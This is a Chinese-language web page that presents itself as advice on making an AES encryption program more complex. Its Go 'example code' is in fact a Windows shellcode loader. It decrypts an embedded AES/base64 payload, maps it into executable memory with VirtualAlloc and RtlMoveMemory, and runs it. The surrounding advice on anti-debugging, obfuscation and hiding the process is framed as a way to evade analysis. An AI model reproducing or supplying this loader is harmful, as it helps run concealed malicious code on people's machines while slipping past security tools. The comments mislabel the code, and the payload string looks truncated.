AES 加密解密程序复杂度提升方法
AES 加密解密程序复杂度提升方法
为增加该程序的复杂度,我们可以考虑以下几个方面:
-
增加密钥的复杂度:可以使用更长的密钥或者使用更复杂的加密算法,如RSA等。
-
增加加密的复杂度:可以使用更复杂的加密算法,如'3DES'、'Blowfish'等。
-
隐藏加密解密的过程:可以将加密解密的过程隐藏在其他程序中,或者使用反调试技术,使得程序难以被分析和破解。
-
增加代码的混淆程度:可以使用代码混淆工具对程序进行混淆,使得程序难以被阅读和理解。
-
增加程序的逆向难度:可以在程序中加入检测反调试和反汇编的代码,或者使用虚拟机技术,使得程序难以被逆向分析。
示例代码:
package main
import (
'crypto/aes'
'crypto/cipher'
'encoding/base64'
'fmt'
'syscall'
'unsafe'
)
var (
kernel32 = syscall.NewLazyDLL('kernel32.dll')
VirtualAlloc = kernel32.NewProc('VirtualAlloc')
RtlMoveMemory = kernel32.NewProc('RtlMoveMemory')
)
func build(ddm string) {
sDec, _ := base64.StdEncoding.DecodeString(ddm)
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(sDec)), 0x1000|0x2000, 0x40)
_, _, _ = RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&sDec[0])), uintptr(len(sDec)))
syscall.Syscall(addr, 0, 0, 0, 0)
}
//去掉字符(末尾)
func UnPaddingText1(str []byte) []byte {
n := len(str)
count := int(str[n-1])
newPaddingText := str[:n-count]
return newPaddingText
}
//---------------DES解密--------------------
func DecrptogAES(src, key []byte) []byte {
block, err := aes.NewCipher(key)
if err != nil {
fmt.Println(nil)
return nil
}
blockMode := cipher.NewCBCDecrypter(block, key)
blockMode.CryptBlocks(src, src)
src = UnPaddingText1(src)
return src
}
func main() {
str := 'i/5PzhAzsoBA4o5ZcLmYA8CR0z5hyC1wEgAUOP3L6DKXKthN4nEc6OAqHkJGGW'
key := []byte('LeslieCheungKwok')
base_byte, _ := base64.StdEncoding.DecodeString(str)
build(string(DecrptogAES(base_byte, key)))
}
原文地址: https://www.cveoy.top/t/topic/lPfw 著作权归作者所有。请勿转载和采集!